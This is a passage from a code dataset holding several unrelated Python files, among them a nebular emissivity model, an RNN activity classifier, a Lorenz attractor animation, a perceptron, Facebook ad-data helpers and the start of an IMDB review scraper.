sys\n\nclass ion:\n\n def getLatexSymbol(self, delim='\\;'):\n roman = {\n 1: 'i',\n 2: 'ii',\n 3: 'iii',\n 4: 'iv',\n 5: 'v',\n 6: 'vi'\n }\n\n #latex = r'$\\rm \\left[{:s} \\; {:s}\\right]$'.format(\n # self.atom.elem, roman[self.atom.spec])\n\n latex = r'$\\mathrm{' + self.atom.elem + '}' + delim \\\n + r'\\textsc{' + roman[self.atom.spec] + r'}$'\n\n return latex\n\n def getEmissivity(self, wave_param, tem, n_e, n_i=None, loc=None):\n \"\"\"\n Computes the volume emissivities for each cell at each\n wavelengths and stores in the variable \n\n Parameters:\n wave_param indicator of self.wave values {\"wave\", \"label\"}\n tem temperature(s)\n n_e electron densit(y/ies)\n n_i ion densit(y/ies)\n loc cell locations within the nebula\n \"\"\"\n # =============================================================\n # Extract the PyNeb atom class as well as the wavelength values\n # and the ionization state\n # =============================================================\n atom = self.atom\n wave = self.wave\n\n # =============================================================\n # Test to see if the density and/or temperatures are\n # stored as arrays.\n # =============================================================\n logical1 = isinstance(n_e, np.ndarray)\n logical2 = isinstance(tem, np.ndarray)\n logical3 = isinstance(n_i, np.ndarray)\n\n # =============================================================\n # If none of the inputs are arrays, then issue a warning and abort.\n # =============================================================\n if not (logical1 or logical2 or logical3):\n print(\", , or must be an array\")\n sys.exit(1)\n\n # -------------------------------------------------------------\n\n # =============================================================\n # If the electron density is stored as an array, then proceed\n # =============================================================\n if logical1:\n\n # =========================================================\n # Check if has been set. If not, then select the cells\n # with non-zero densities.\n # =========================================================\n if isinstance(loc, type(None)):\n loc = np.where(n_e > 0)\n\n # =========================================================\n # Create an array to hold the emissivities associated with each cell\n # =========================================================\n emiss = np.zeros((len(wave), *n_e.shape))\n\n # =========================================================\n # Extract the densities\n # =========================================================\n n_e = n_e[loc]\n\n # =============================================================\n # If the temperature has been stored as an array, then proceed\n # =============================================================\n if logical2:\n\n # =========================================================\n # Test if has been set. If not, then select the cells\n # that have non-zero temperatures.\n # =========================================================\n if isinstance(loc, type(None)):\n loc = np.where(tem > 0)\n\n # =========================================================\n # Test to see if an array has been created to hold the\n # emissivities (see first if). If not, then make.\n # =========================================================\n try: emiss\n except: emiss = np.zeros((len(wave), *tem.shape))\n\n # =========================================================\n # Extract the temperatures\n # =========================================================\n tem = tem[loc]\n\n # =============================================================\n # If the ion density is stored as an array, then proceed\n # =============================================================\n if logical3:\n\n # =========================================================\n # Check if has been set. IF not, then select the cells\n # with non-zero densities.\n # =========================================================\n if isinstance(loc, type(None)):\n loc = np.where(n_i > 0)\n\n # =========================================================\n # Test to see if an array has been created to hold the\n # emissivities (see first if). If not, then make.\n # =========================================================\n try: emiss\n except: emiss = np.zeros((len(wave), *n_i.shape))\n\n # =========================================================\n # Extract the densities\n # =========================================================\n n_i = n_i[loc]\n\n # =============================================================\n # If no ion densities have been supplied, then assume that\n # the ion density is proportional to the electron density\n # (?) Apply an ionization correction via the Saha equation (?)\n # =============================================================\n if isinstance(n_i, type(None)):\n n_i = n_e\n\n \"\"\"\n ion_frac = saha(\n elem=self.atom.elem,\n tem=tem,\n n_e=n_e,\n ion=self.atom.spec+1 if self.atom.type == 'rec' else self.atom.spec,\n only_ions=False if self.atom.spec == 1 else True\n )\n\n n_i = n_e * ion_frac\n \"\"\"\n\n # =============================================================\n # Create a dictionary for passing to the getEmissivity function.\n # If the electron densities and temperatures are both arrays,\n # then set the product term to false (as each cell is paired)\n # =============================================================\n params = {\n \"tem\": tem,\n \"den\": n_e,\n \"product\": False if (logical1 and logical2) else True\n }\n\n # =============================================================\n # For each wave, update the dictionary and compute the line intensity\n # by multiplying the emissivity by the electron and ion densities.\n # =============================================================\n for i, wl in enumerate(wave):\n params[wave_param] = wl\n emiss[i][loc] = atom.getEmissivity(**params) * n_e * n_i\n\n # =============================================================\n # Store the result.\n # =============================================================\n self.emiss = emiss\n\n\n def getSkyEmiss(self, convl=True, kernel=1):\n \"\"\"\n Computes the line instensity alone a line of sight and\n stores in the variable \n\n Parameters:\n convl boolean to convole the intensity image\n kernel gaussian filter kernel value\n \"\"\"\n emiss = self.emiss\n wave = self.wave\n\n # Create an array to hold the intensity values as observed\n # on the sky.\n dim = np.shape(emiss)[1:-1]\n skyEmiss = np.zeros((len(wave), *dim))\n\n # For each wavelength, compute the intensity by summing along\n # the line of sight. Option to convolve the image with a\n # gaussian filter.\n for i, _ in enumerate(wave):\n emission = np.nansum(self.emiss[i], axis=-1)\n skyEmiss[i] = convl2D(emission, kernel) if convl else emission\n\n self.skyEmiss = skyEmiss\n\n def getIonAbundance(self, skyTem, skyDen, Hbeta, los, wave_param):\n \"\"\"\n Computes the abudance estimates given the density and\n temperature along each line of sight and stores in the\n variable \n\n To call:\n getIonAbundance(skyTem, skyDen, Hbeta, los, wave_param)\n\n Parameters:\n skyTem temperature estimates\n skyDen density estimates\n Hbeta H-beta intensities\n los light of sight positions\n wave_param\n \"\"\"\n # ================================================\n # If no line of sight positions have been passed,\n # use the lines of sight with non-zero H-beta\n # intensities.\n # ================================================\n if isinstance(los, type(None)):\n los = Hbeta > 0\n\n # ================================================\n # Extract the temperatures and densities along\n # the line of sights.\n # ================================================\n if isinstance(skyDen, np.ndarray):\n skyDen = skyDen[los]\n if isinstance(skyTem, np.ndarray):\n skyTem = skyTem[los]\n\n # ================================================\n # If either the temperature of density are constant,\n # create an array that is the same length as the\n # other.\n # ================================================\n if isinstance(skyDen, (int, float)):\n skyDen = np.repeat(skyDen, len(skyTem))\n if isinstance(skyTem, (int, float)):\n skyTem = np.repeat(skyTem, len(skyDen))\n\n params = {\n \"den\": skyDen,\n \"tem\": skyTem,\n }\n\n ionDen = np.zeros_like(self.skyEmiss)\n for i, sky in enumerate(self.skyEmiss):\n lr = 100*sky[los] / Hbeta[los]\n params[\"int_ratio\"] = lr\n params[wave_param] = self.wave[i]\n ionDen[i][los] = self.atom.getIonAbundance(**params)\n\n self.ionAbundance = ionDen\n","repo_name":"bbergerud/Nebularium","sub_path":"nebulous/ion.py","file_name":"ion.py","file_ext":"py","file_size_in_byte":10436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"20575210448","text":"from typing import Any\n\nimport torch\nfrom pandas import DataFrame\nfrom torch import Tensor\nfrom torch.utils.data import DataLoader\n\nfrom multi_modal_edge_ai.models.adl_inference.preprocessing.nn_preprocess import *\nfrom multi_modal_edge_ai.models.adl_inference.torch_models.torch_rnn import TorchRNN\nfrom multi_modal_edge_ai.commons.model import Model\nfrom multi_modal_edge_ai.commons.string_label_encoder import StringLabelEncoder\n\n\nclass RNNModel(Model):\n def __init__(self, sensors: list[str], window_length: int,\n num_classes: int, hidden_size: int, num_hidden_layers: int,\n non_linearity: str = \"tanh\",\n last_layer_activation: Union[torch.nn.Module, None] = torch.nn.Softmax(dim=1)) -> None:\n \"\"\"\n This function initializes the RNN model\n :param sensors: list containing all the sensors present\n :param window_length: integer representing the size of the input\n :param num_classes: integer representing the number of classes that can be classified\n :param hidden_size: integer representing the size of the hidden layer\n :param num_hidden_layers: integer representing the number of hidden layers\n :param non_linearity: The non-linearity to use. Can be either 'tanh' or 'relu'. Default: 'tanh'\n :param last_layer_activation: The activation function to use in the last layer. Default: 'softmax'\n \"\"\"\n super(RNNModel, self).__init__()\n self.loss_function = torch.nn.CrossEntropyLoss()\n self.num_sensors = len(sensors)\n self.model = TorchRNN(self.num_sensors, hidden_size, num_hidden_layers,\n num_classes, non_linearity, last_layer_activation)\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.model = self.model.to(self.device)\n self.window_length = window_length\n self.num_classes = num_classes\n self.sensor_encoder = StringLabelEncoder(sensors)\n\n def train(self, data: Union[DataLoader[Any], List], **hyperparams: Any) -> Any:\n \"\"\"\n method to train the RNN model on a data, with any hyperparams needed\n :param data: A list of windows as described in window_splitter.py. A window should be in the following format:\n * dataframe containing the sensor data with the following columns ('Sensor', 'Start_Time', 'End_Time')\n * corresponding activity\n * start time of the window\n * end time of the window\n :param hyperparams: training hyperparameters: epochs, learning_rate, loss_function, verbose\n :return: the trained model\n \"\"\"\n if not isinstance(data, List):\n raise TypeError(\"Training data is supposed to be a list of windows.\")\n\n dataset = window_list_to_nn_dataset(data, self.num_sensors, self.window_length, self.sensor_encoder)\n\n epochs = hyperparams.get(\"epochs\", 1)\n learning_rate = hyperparams.get(\"learning_rate\", 0.001)\n verbose = hyperparams.get(\"verbose\", True)\n\n self.loss_function = hyperparams.get('loss_function', self.loss_function)\n\n optimizer = torch.optim.Adam(self.model.parameters(), lr=learning_rate)\n\n if verbose:\n print('\\n')\n print('Training RNN model...')\n self.model.train()\n\n for epoch in range(epochs):\n running_loss = 0.0\n for t_data, t_label in dataset:\n tensor_data = torch.from_numpy(t_data.T).unsqueeze(0).float()\n tensor_label = torch.eye(self.num_classes)[t_label]\n\n optimizer.zero_grad()\n\n output = self.model(tensor_data).reshape(-1)\n\n loss = self.loss_function(output, tensor_label)\n\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n\n # Print training loss for each epoch\n if verbose:\n print(f\"Epoch {epoch + 1}/{epochs} | Loss: {running_loss}\")\n\n if verbose:\n print('\\n')\n print('Finished training RNN model.')\n\n # Return the trained model\n return self.model\n\n def predict(self, instance: Union[Tensor, DataFrame], window_start=None, window_end=None) -> Any:\n \"\"\"\n This function will perform a forward pass on the instance provided and return the class with the highest\n probability\n :param instance: The instance on which to perform the forward pass. The columns of the dataframe should be:\n Sensor, Start_Time and End_Time.\n :param window_start: datetime representing the start time of the window,\n if None, the earliest sensor start time will be taken\n :param window_end: datetime representing the end time of the window,\n if None, the latest sensor end time will be taken\n :return: the encoded label of the predicted activity\n \"\"\"\n if not isinstance(instance, pd.DataFrame):\n raise TypeError(\"Instance is not of type pd.Dataframe\")\n if window_start is None:\n window_start = np.min(instance['Start_Time'])\n\n formatted_instance = sensor_df_to_nn_input_matrix(instance, window_start, self.window_length, self.num_sensors,\n self.sensor_encoder)\n self.model.eval()\n\n tensor_instance = torch.from_numpy(formatted_instance.T).unsqueeze(0).float()\n # print(str(tensor_instance))\n outputs = self.model(tensor_instance)\n predicted = outputs.argmax()\n return predicted.item()\n\n def save(self, file_path: str) -> None:\n \"\"\"\n method to save the model at a given file path\n :param file_path: the path to save the model at\n \"\"\"\n torch.save(self.model.state_dict(), file_path)\n\n def load(self, file_path: str) -> None:\n \"\"\"\n method to load the model from a given file path\n :param file_path: the path to load the model from\n \"\"\"\n self.model.load_state_dict(torch.load(file_path))\n","repo_name":"R3c5/Multi-Modal-Edge-AI","sub_path":"multi_modal_edge_ai/models/adl_inference/ml_models/rnn_model.py","file_name":"rnn_model.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"32979798610","text":"from tests.payload import allData\nfrom resources.constants import ApiIntervalConstant\n\nclass TestableData:\n\n\t@staticmethod\n\tdef prices():\n\t\tcandles = allData()\n\t\tprices = []\n\t\tfor candle in candles:\n\t\t\tprices.append(candle.close)\n\t\treturn prices\n\n\tdef jsonData():\n\t\treturn allData()\n\n\tdef jsonDataWithParamsInUrl(url):\n\n\t\turlParams = str(url).split(\"?\")[1].split(\"&\")\n\t\tstartTime = 0\n\t\tendTime = 0\n\t\tinterval = None\n\t\tfor params in urlParams:\n\t\t\tif \"startTime\" in params:\n\t\t\t\tstartTime = int(params.split(\"=\")[1])\n\t\t\t\tcontinue\n\t\t\tif \"endTime\" in params:\n\t\t\t\tendTime = int(params.split(\"=\")[1])\n\t\t\t\tcontinue\n\t\t\tif \"interval\" in params:\n\t\t\t\tinterval = ApiIntervalConstant.objectFor(params.split(\"=\")[1])\n\t\tcandles = allData()\n\t\tjson = []\n\n\t\tfor i, candle in enumerate(candles):\n\t\t\tif startTime <= int(candle[0]) and int(candle[0]) < endTime:\n\t\t\t\tif len(json) == 0 or candle[6] - candles[i-1][6] > ApiIntervalConstant.secondsFor(interval):\n\t\t\t\t\tjson.append(candle)\n\n\t\treturn json\n","repo_name":"brunobaring/savior","sub_path":"tests/testableData.py","file_name":"testableData.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3188586521","text":"\"\"\"\n=====\nAlgo & Chaos 2\nLorenz2dTrajectoireXY.py\n=====\n2021 GPL3 VERHILLE Arnaud (gist974@gmail.com) \npour l'IREM de la Réunion (https://irem.univ-reunion.fr)\n\nImplémentation basique du modèle de Lorenz basée sur la publication \nd'Edward Lorenz de 1963 : \"Deterministic Nonperiodic Flow\".\nhttps://raw.githubusercontent.com/habib256/algo-chaos/main/2.PapillonDeLorenz/docs/%5BEdward%20N%20Lorenz%20-%20Journal%20of%20the%20Atmospheric%20Sciences%5D%20Deterministic%20Nonperiodic%20Flow.pdf\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n# ----------\n# CONSTANTES \n\nX0 = 0.\nEPSILONX = 0.01\nY0 = 1.\nZ0 = 3.\nDT = 0.01\n\n# ---------\n# FONCTIONS\n\ndef lorenz(x, y, z, s=10, r=28, b=2.667):\n \"\"\"Calcul des dérivées de Lorenz par rapport au temps\"\"\"\n x_point = s*(y - x)\n y_point = r*x - y - x*z\n z_point = x*y - b*z\n return x_point, y_point, z_point\n\ndef lorenz_gen(x0, y0, z0, dt):\n \"\"\"Un générateur Python des états successifs de Lorenz\"\"\"\n x=x0\n y=y0\n z=z0\n while (True) :\n # C'est un générateur Python donc il stoppe après yield \n # et il ne reprendra qu'au prochain appel via next\n yield x,y,z\n # On applique les équations de Lorenz\n x_point, y_point, z_point = lorenz(x,y,z)\n # Et on calcule l'état suivant pour X, Y, Z grâce à EULER\n x = x + x_point * dt\n y = y + y_point * dt\n z = z + z_point * dt\n\n# -------------------\n# PROGRAMME PRINCIPAL\n\nx1s=[]\ny1s=[]\nz1s=[]\nx2s=[]\ny2s=[]\nz2s=[]\n\nObjet1position = iter(lorenz_gen(X0,Y0,Z0,DT))\nObjet2position = iter(lorenz_gen(X0+EPSILONX,Y0,Z0,DT))\n\nfig, ax = plt.subplots()\n\nax = plt.axis([-25,30,-30,30])\nax = plt.title(\"Trajectoires de Lorenz XY: Papillon en 2D\")\nax = plt.xlabel(\"X\")\nax = plt.ylabel(\"Y\")\n\n\nx1s.append(X0)\ny1s.append(Y0)\nx2s.append(X0+EPSILONX)\ny2s.append(Y0)\n\ntrajectoireRouge, = plt.plot(x1s, y1s, 'r-')\ntrajectoireBleu, = plt.plot(x2s, y2s, 'b-')\npointRouge, = plt.plot(X0, Y0, 'ro')\npointBleu, = plt.plot(X0+EPSILONX, Y0, 'bo')\n\ndef animate(frame):\n x1,y1,z1 = next(Objet1position)\n x2,y2,z2 = next(Objet2position)\n x1s.append(x1)\n y1s.append(y1)\n x2s.append(x2)\n y2s.append(y2)\n\n trajectoireRouge.set_data(x1s,y1s)\n trajectoireBleu.set_data(x2s,y2s)\n pointRouge.set_data(x1,y1)\n pointBleu.set_data(x2,y2)\n \n return trajectoireRouge, trajectoireBleu, pointRouge, pointBleu, \n\n\n\n# créer une animation en utilisant la fonction animate()\nmyAnimation = animation.FuncAnimation(fig, animate, frames=1300, \\\n interval=30, blit=True, repeat=True)\n#myAnimation.save('Lorenz2DXY.gif', writer='imagemagick')\n#Sous BASH $ gifsicle -b -O3 --colors 4 AnimationNew.gif\n\nplt.show()","repo_name":"habib256/algo-chaos","sub_path":"2.PapillonDeLorenz/Lorenz2dTrajectoireXY.py","file_name":"Lorenz2dTrajectoireXY.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"9148776486","text":"from imutils.video import VideoStream\r\nimport imutils\r\nimport cv2\r\nimport time\r\n#coding ini utk menunjukkan perbedaan video stream antar imutils dan opencv\r\n\r\n#mendeklarasikan variabel fps live\r\nprev_frame_time = 0\r\nnew_frame_time = 0\r\n\r\n#perlu diperhatikan, keduanya berbeda dalam memanggil video live capture\r\n#cap = cv2.VideoCapture(0)\r\ncap2 = VideoStream(src=0).start()\r\n\r\n\r\nwhile True:\r\n \r\n #jika memakai opencv, harus memakai successor di dpn\r\n #jika memakai imutils, tidak usah, langsung variabel\r\n #success, img = cap.read()\r\n imgGray = cap2.read()\r\n \r\n imgGray = cv2.resize(imgGray, (640, 480))\r\n font = cv2.FONT_HERSHEY_COMPLEX_SMALL\r\n new_frame_time = time.time()\r\n #menghitung fps\r\n fps = int(1/(new_frame_time-prev_frame_time))\r\n fpsShow = (\"FPS live: {0} fps\".format(fps))\r\n prev_frame_time = new_frame_time\r\n\r\n cv2.putText(imgGray, fpsShow, (7,50), font, 2, (255,0,0), 3)\r\n\r\n #cv2.imshow(\"Opencv\", imgGray)\r\n cv2.imshow(\"Imutils\", imgGray)\r\n \r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n \r\ncv2.destroyAllWindows()\r\n","repo_name":"fauzanalif13/miscellaneousCode","sub_path":"imutilsVsCv.py","file_name":"imutilsVsCv.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72876640057","text":"#!/usr/bin/env python\n# coding: utf-8\n# @Author: lapis-hong\n# @Date : 2018/4/10\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass ShowPicture(object):\n def __init__(self, data, w, b):\n self.b = b\n self.w = w\n plt.figure(1)\n plt.title('Plot 1', size=14)\n plt.xlabel('x-axis', size=14)\n plt.ylabel('y-axis', size=14)\n\n x = np.linspace(0, 5, 100)\n y = self.expression(x)\n plt.plot(x, y, color='r', label='y1 data')\n\n plt.scatter(data[0][0], data[0][1], s=50)\n plt.scatter(data[1][0], data[1][1], s=50)\n plt.scatter(data[2][0], data[2][1], marker='x', s=50, )\n plt.savefig('2d.png', dpi=75)\n\n def expression(self, x):\n y = (-self.b - self.w[0] * x) / self.w[1]\n return y\n\n def show(self):\n plt.show()\n\n\nclass Perceptron(object):\n\n def __init__(self):\n self._w = None\n self._b = None\n\n def fit(self, x, y, lr=0.01, step=1000):\n \"\"\"Each step use the worst misclassfication point to update weights.\"\"\"\n # when data is already array, np.asarray does not copy, but np.array does.\n x, y = np.asarray(x, np.float32), np.asarray(y, np.float32)\n self._w = np.zeros(x.shape[1])\n self._b = 0\n for _ in range(step):\n # Loss function L(w, b) = -sum y_i*(w*x_i+b), misclassification point: -y(w*x+b)>0\n y_pred = x.dot(self._w) + self._b # Xw+b\n # chose max loss point, if this is right, all have been classify right\n idx = np.argmax(np.maximum(0, -y_pred * y))\n if y[idx] * y_pred[idx] > 0:\n break\n # update weight\n self._w += lr * y[idx] * x[idx]\n self._b += lr * y[idx]\n\n def fit2(self, x, y, lr=0.1):\n \"\"\"upaate weights in order.\"\"\"\n flag = True\n x, y = np.asarray(x, np.float32), np.asarray(y, np.float32)\n self._w = np.zeros(x.shape[1])\n self._b = 0\n\n while flag:\n count = 0\n print(self._w)\n for i in range(len(y)):\n y_pred = np.dot(x[i], self._w) + self._b\n print(y_pred)\n np.dot(x[i, :], self._w)\n if y_pred * y[i] <= 0:\n self._w += lr * y[i] * x[i] # x[i] == x[i, :]\n self._b += y[i]\n count += 1\n if count == 0: # no misclassification points\n flag = False\n\n def get_weight(self):\n return self._w, self._b\n\n def predict(self, x):\n\n return np.where(np.dot(np.asarray(x), self._w) + self._b >= 0, 1, -1)\n\n\nif __name__ == '__main__':\n x = [(3, 3), (4, 3), (1, 1)]\n y = [1, 1, -1]\n model = Perceptron()\n model.fit(x, y)\n w, b = model.get_weight()\n y = model.predict([3, 4])\n print('prediction label: {}'.format(y))\n picture = ShowPicture(x, w, b)\n picture.show()\n\n\n","repo_name":"Lapis-Hong/machine-learning-basic","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"26843827908","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 18 18:21:12 2019\r\n\r\n@author: 84685\r\n\"\"\"\r\n\r\n# Definition for a binary tree node.\r\n# class TreeNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n\r\n# Recursive method\r\nclass Solution(object):\r\n def isSymmetric(self, root):\r\n \"\"\"\r\n :type root: TreeNode\r\n :rtype: bool\r\n \"\"\"\r\n # empty is symmetric\r\n if not root:\r\n return True\r\n # check left son and right son's value is the same.\r\n return self.dfs(root.left, root.right)\r\n \r\n def dfs(self, node1, node2):\r\n if not node1 or not node2: return not node1 and not node2\r\n # recursive check the sons of son\r\n return node1.val == node2.val and self.dfs(node1.left, node2.right) and \\\r\n self.dfs(node1.right, node2.left)\r\n \r\n \r\n# Iterative method\r\nclass Solution:\r\n def isSymmetric(self, root: TreeNode) -> bool:\r\n if not root: return True\r\n p_left = p_right = root\r\n s1, s2 = [], []\r\n while p_left:\r\n s1.append(p_left)\r\n p_left = p_left.left\r\n while p_right:\r\n s2.append(p_right)\r\n p_right = p_right.right\r\n if len(s1) != len(s2): return False\r\n p_left, p_right = s1[-1], s2[-1]\r\n \r\n while p_left != root and p_right !=root:\r\n p_left, p_right = p_left.right, p_right.left\r\n while p_left:\r\n s1.append(p_left)\r\n p_left = p_left.left\r\n while p_right:\r\n s2.append(p_right)\r\n p_right = p_right.right\r\n \r\n p_left, p_right = s1.pop(), s2.pop()\r\n if p_left.val != p_right.val: return False\r\n \r\n return True","repo_name":"tsenglying-SH/Code_Exercise","sub_path":"剑指Offer/对称的二叉树/对称的二叉树_Python3.py","file_name":"对称的二叉树_Python3.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23993237432","text":"import pandas as pd\nimport numpy as np\nfrom datetime import datetime\n\n\ndef read_fb_ads_lib_data(file_input: str) -> pd.DataFrame:\n \"\"\"\n This function reads the FB ads lib Data and add a new Aux Column to the table for further calculations.\n \"\"\"\n\n df = pd.read_csv(file_input)\n\n # Create Aux Column\n df.loc[:, \"Count\"] = 1\n\n return df\n\n\ndef create_reactions_df(\n t_start,\n t_end,\n kind: str,\n df_input: pd.DataFrame,\n):\n df = create_timestamp_indexes(df_raw=df_input,\n column=\"Beginning Of Interval\")\n df_reaction = create_time_splits(df=df, t_start=t_start, t_end=t_end)\n\n df_reaction.reset_index(False, inplace=True)\n\n df_reaction = df_reaction.pivot(index='time',\n columns='candidato',\n values=kind)\n\n return df_reaction\n\n\ndef read_fb_data(file_1: str, file_2: str, file_3: str):\n\n df_mesa = pd.read_csv(file_1)\n df_camacho = pd.read_csv(file_2)\n df_arce = pd.read_csv(file_3)\n\n df_mesa.loc[:, \"candidato\"] = \"Carlos Mesa\"\n df_camacho.loc[:, \"candidato\"] = \"Camacho\"\n df_arce.loc[:, \"candidato\"] = \"Arce\"\n\n df = pd.concat([df_mesa, df_camacho, df_arce])\n df.reset_index(inplace=True)\n\n return df\n\n\ndef create_timestamp_indexes(\n df_raw: pd.DataFrame,\n column: str,\n format_date: str = '%Y-%m-%d %H:%M:%f') -> pd.DataFrame:\n \"\"\"\n Create datestamp index for a pandas dataframe\n\n PARAMS:\n ------\n\n :params: df_raw = pd.DataFrame - The target pandas dataframe with a \"timestamp like\" column\n :params: column = string - the name of the \"timestamp like\" column.\n :params: format_date = string - the expected timestamp format .\n\n\n RETURNS:\n -------\n\n :returns: df = pd.DataFrame - The input dataframe but with his index as timestamp \n\n \"\"\"\n\n df = df_raw.copy()\n\n df['time'] = pd.to_datetime(df[column], format=format_date)\n\n # df = df.drop(columns_to_remove, 1)\n df.set_index('time', inplace=True)\n\n return df\n\n\ndef create_time_splits(df: pd.DataFrame, t_start: datetime, t_end: datetime):\n \"\"\"\n Creates a dataframe but filteted by time ranges.\n\n PARAMS:\n -------\n :params: df = pd.DataFrame - Pandas dataframe with timestamp index\n :params: t_start = datetime object - Where start the datetime of interest\n :params: t_end = datetime object - Where ends the datetime of interest\n\n \"\"\"\n\n # print(\"Fecha de inicio de los tweets :\", t_start)\n # print(\"Fecha de final de los tweets :\", t_end)\n\n df_timed_p = df[df.index.tz_localize(None) >= t_start]\n df_timed_p = df_timed_p[df_timed_p.index.tz_localize(None) < t_end]\n\n # print(\"\\n\")\n # print(\"Tamaño de los Tweets antes : \", df.shape[0])\n # print(\"Tamaño de los Tweets despues del rango de fechas : \",\n # df_timed_p.shape[0])\n\n return df_timed_p\n\n\ndef get_df_count_ads(df: pd.DataFrame):\n \"\"\"\n df: timed index dataframe\n\n \"\"\"\n\n df_cc = df[df[\"page_name\"] == \"Carlos D. Mesa Gisbert\"]\n df_mas = df[df[\"page_name\"] == \"Lucho x mi país\"]\n df_camacho = df[df[\"page_name\"] == \"Luis Fernando Camacho\"]\n\n df_cc_t = df_cc[[\"Count\"]].resample('D').sum()\n df_cc_t.loc[:, \"Candidato\"] = \"Carlos D. Mesa Gisbert\"\n\n df_mas_t = df_mas[[\"Count\"]].resample('D').sum()\n print(\"payaso\", df[\"page_name\"])\n df_mas_t.loc[:, \"Candidato\"] = \"Lucho x mi país\"\n\n df_camacho_t = df_camacho[[\"Count\"]].resample('D').sum()\n df_camacho_t.loc[:, \"Candidato\"] = \"Luis Fernando Camacho\"\n\n df_day = pd.concat([df_cc_t, df_mas_t, df_camacho_t])\n\n df_day_p = df_day.reset_index().pivot(index='time',\n columns='Candidato',\n values='Count')\n\n return df_day_p\n\n\ndef get_df_ads_by_party(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n\n This function calculates the facebook ads by page name using the aux \"count\" column.\n\n \"\"\"\n # colors = df['COLORS']\n df_aux_0 = df.groupby([\"page_name\"]).agg({\"Count\": np.sum})\n print(df_aux_0)\n\n df_aux_0['Colors'] = [\n '#003f5c', '#58508d', '#bc5090', '#ff6361', '#ffa600'\n ]\n\n return df_aux_0\n\n\ndef get_df_ads_by_spended(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n\n \"\"\"\n def f_parse_currency(x, col):\n currency = x[\"currency\"]\n if currency == \"BOB\":\n return int(float(x[col]) / 6.96)\n else:\n return x[col]\n\n #df = df_timed_splited\n df.loc[:, \"spend_min_USD\"] = df.apply(\n lambda x: f_parse_currency(x, \"spend_min\"), axis=1)\n df.loc[:, \"spend_max_USD\"] = df.apply(\n lambda x: f_parse_currency(x, \"spend_max\"), axis=1)\n\n df_aux_2 = df.groupby([\"page_name\"]).agg({\"spend_min_USD\": np.sum})\n df_aux_2['Count'] = df.groupby([\"page_name\"]).agg({\"Count\": np.sum})\n df_aux_2['spend_max_USD'] = df.groupby([\"page_name\"\n ]).agg({\"spend_max_USD\": np.sum})\n df_aux_2.reset_index(inplace=True)\n\n return df_aux_2\n\n\ndef get_df_ads_by_funding_entity(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n This function calculates the facebook ads by page name using the aux \"count\" column.\n \"\"\"\n\n df_aux_1 = df.groupby([\"page_name\",\n \"funding_entity\"]).agg({\"Count\": np.sum})\n\n return df_aux_1","repo_name":"GenyLeong/proyecto-dashboard-politics","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":5378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"44505762490","text":"n=int(input())\r\n\r\nnum= input().split()\r\n\r\nre=0\r\nnum=[int(x) for x in num]\r\nm=max(num)\r\n\r\nfor i in range(n): \r\n re+=num[i]/m*100\r\n \r\nprint(re/n)","repo_name":"d1mm1n/Hongorithm","sub_path":"백준/Bronze/1546. 평균/평균.py","file_name":"평균.py","file_ext":"py","file_size_in_byte":149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39770138542","text":"import time\nfrom urllib.request import urlopen as openUrlWeb\n\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom services.customFns import imdbFindUrl, imdbMainUrl\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n\nasync def extractMovieReviews(movieName: str) -> list[str]:\n movieSearchUrlRef = movieName.replace(\" \", \"%20\")\n\n imdbFindOpenUrl = openUrlWeb(imdbFindUrl(movieSearchUrlRef))\n imdbFindPage = BeautifulSoup(imdbFindOpenUrl, \"lxml\")\n\n resultTextElm = imdbFindPage.find(\"td\", class_=\"result_text\")\n if resultTextElm == None:\n raise Exception(\"Movie cannot be Found on IMDB\", \" Result Text Element Error\")\n\n linkHref = resultTextElm.a[\"href\"]\n imdbMainOpenUrl = openUrlWeb(imdbMainUrl(linkHref))\n imdbMainPage = BeautifulSoup(imdbMainOpenUrl, \"lxml\")\n\n reviewsHeaderLink = imdbMainPage.find(\n \"div\", attrs={\"data-testid\": \"reviews-header\"}\n )\n if reviewsHeaderLink == None:\n raise Exception(\n \"Movie reviews cannot be found on IMDB\",\n \"User Reviews Header Link does not exist\",\n )\n\n # driver = webdriver.Chrome(\"C:\\\\Users\\\\dell\\\\Desktop\\\\chromedriver.exe\")\n driver = webdriver.Chrome(ChromeDriverManager().install())\n driver.get(imdbMainUrl(reviewsHeaderLink.a[\"href\"]))\n for _ in range(20):\n try:\n loadMoreButton = driver.find_element_by_class_name(\"load-more-data\")\n loadMoreButton.click()\n time.sleep(1)\n except:\n break\n driverPageSourceUrl = driver.page_source\n driverSourcePage = BeautifulSoup(driverPageSourceUrl, \"lxml\")\n\n listerListElm = 